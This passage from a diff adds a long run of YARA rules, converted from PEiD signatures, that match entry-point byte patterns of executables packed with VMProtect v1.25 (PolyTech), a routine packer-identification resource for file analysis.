+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5B 5D 5E 5A 5E 59 9D 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03079_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5E 5F 5D 5A 58 5B 9D 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03080_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 5F 5E 5E 5A 5D 5B 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03081_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 58 9D 5B 5E 5A 5D 5F 5F 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03082_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5A 5B 9D 58 5E 5F 58 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03083_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5D 5A 5F 5E 58 9D 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03084_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5D 5F 5B 5E 9D 58 5A 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03085_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5D 9D 5E 5B 5A 5A 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03086_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 59 5F 5F 5E 5D 5A 5B 9D 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03087_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 58 5D 5E 5D 5F 5B 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03088_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 59 5F 58 5E 9D 5D 5F 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03089_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5D 5E 58 5F 59 5D 9D C3}
+    condition:
+        $a
+}
+rule PEiD_03090_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5B 5F 58 5D 5E 5D 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03091_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5A 5F 5E 58 5D 59 5D 5B 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03092_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5A 59 5E 9D 5E 5D 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03093_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 58 9D 59 5A 5F 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03094_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 58 5D 5E 5F 9D 5A 59 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03095_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 59 9D 5D 5A 5E 58 5F 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03096_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 5F 5E 5D 58 58 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03097_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5A 9D 58 5F 5E 5E 59 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03098_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5D 5F 5E 9D 58 5A 59 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03099_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 5E 59 5F 5D 5D 9D 58 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03100_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5B 9D 5F 5D 58 5A 5E 59 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03101_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 59 5E 5A 58 5B 5F 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03102_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5A 9D 5F 59 5B 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03103_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5E 58 5F 5A 59 5B 5B 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03104_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5A 5B 5E 58 9D 59 5F C3}
+    condition:
+        $a
+}
+rule PEiD_03105_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 5F 5B 5D 58 5E 5A 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03106_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5D 9D 5A 5B 59 58 5E 58 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03107_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 59 5B 5D 58 5B 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03108_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5A 5F 5B 9D 58 5E 59 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03109_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5B 5A 58 5D 59 5F 9D 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03110_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5D 5B 5F 5E 59 58 9D 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03111_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5A 58 5D 9D 59 5F 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03112_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5E 5B 58 9D 59 5D 5F 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03113_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 5F 58 5B 5A 59 5D 9D 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03114_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5E 9D 5A 5D 5F 58 5B 59 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03115_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 59 59 5A 5B 9D 5E 58 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03116_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5A 59 5D 9D 5E 58 5B 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03117_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5B 9D 5D 5A 5E 58 5A 59 C3}
+    condition:
+        $a
+}
+rule PEiD_03118_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 5F 5E 9D 5F 59 5A 5D 58 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03119_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5A 59 5E 5D 5F 5B 5A 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03120_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5A 58 5F 5D 5B 59 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03121_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5A 9D 5E 5F 5B 5D 58 5A 59 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03122_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5B 5E 5F 9D 5D 5F 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03123_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5A 5E 5F 5B 5B 5D 59 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03124_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 59 9D 5D 5B 59 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03125_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 58 5F 5E 5B 59 5D 5A 9D 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03126_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 59 58 5B 5E 5F 5A 9D 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03127_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5D 5A 58 9D 5B 5E 5F 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03128_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5A 5F 5B 9D 5B 58 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03129_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5E 5F 5D 5A 5B 58 5A 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03130_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 59 5F 5B 58 5A 9D 58 5E 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03131_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 58 5B 59 5E 5D 5F 5F 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03132_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 59 5E 5D 5F 9D 5E 5B 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03133_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5B 5F 5E 9D 58 5D 59 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03134_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5D 59 5D 5F 58 5E 5B 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03135_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5E 5D 5B 9D 59 58 58 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03136_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 5F 5D 9D 58 59 59 5B 5E C3}
+    condition:
+        $a
+}
+
+rule PEiD_03137_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5A 9D 5B 5F 5E 5D 58 59 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03138_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5D 9D 5E 5F 5A 5D 58 C3}
+    condition:
+        $a
+}
+rule PEiD_03139_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 59 5E 5F 5D 5A 9D 58 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03140_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 5D 5E 5F 58 9D 5A 58 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03141_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5B 9D 58 59 58 5E 5D 5A 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03142_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 59 9D 5A 5E 58 5B 5F 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03143_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5A 5F 58 9D 5E 5B 59 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03144_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 58 5A 59 5F 9D 5E 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03145_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 5B 59 5F 5E 9D 5D 5A 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03146_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5D 9D 59 5F 5D 58 5E 5A 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03147_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 59 5B 59 5A 5D 9D 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03148_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5D 5A 5A 5F 5B 9D 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03149_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 58 5F 5D 5A 59 9D 5A 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03150_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 58 5F 5B 5D 5D 5A 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03151_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 59 5A 5B 9D 5F 58 58 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03152_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5A 59 9D 5F 5D 5B 58 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03153_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 58 59 58 9D 5A 5B 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03154_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5D 5B 5A 9D 58 5A 59 5F C3}
+    condition:
+        $a
+}
+
+rule PEiD_03155_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 5F 58 59 9D 5F 5B 5D 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03156_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5D 5B 59 5A 58 5F 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03157_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5E 9D 5F 5D 5B 58 5D 59 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03158_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5A 58 5E 5D 5B 9D 59 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03159_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 5F 5B 58 59 5D 5A 5E 9D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03160_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 5F 9D 58 5B 5D 5A 5A 5E 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03161_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 59 5A 5B 58 5B 5F 5E 5D C3}
+    condition:
+        $a
+}
+
+rule PEiD_03162_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 59 58 5F 5A 5E 5B 5B C3}
+    condition:
+        $a
+}
+
+rule PEiD_03163_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5D 5E 59 5B 58 5B 5F 5A C3}
+    condition:
+        $a
+}
+
+rule PEiD_03164_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 58 5E 5A 5B 59 5D 59 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03165_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 5B 9D 5F 59 5D 5A 5B 5B 5E 58 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03166_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_03167_VMProtect_v1_25____PolyTech_
+{
+    meta:
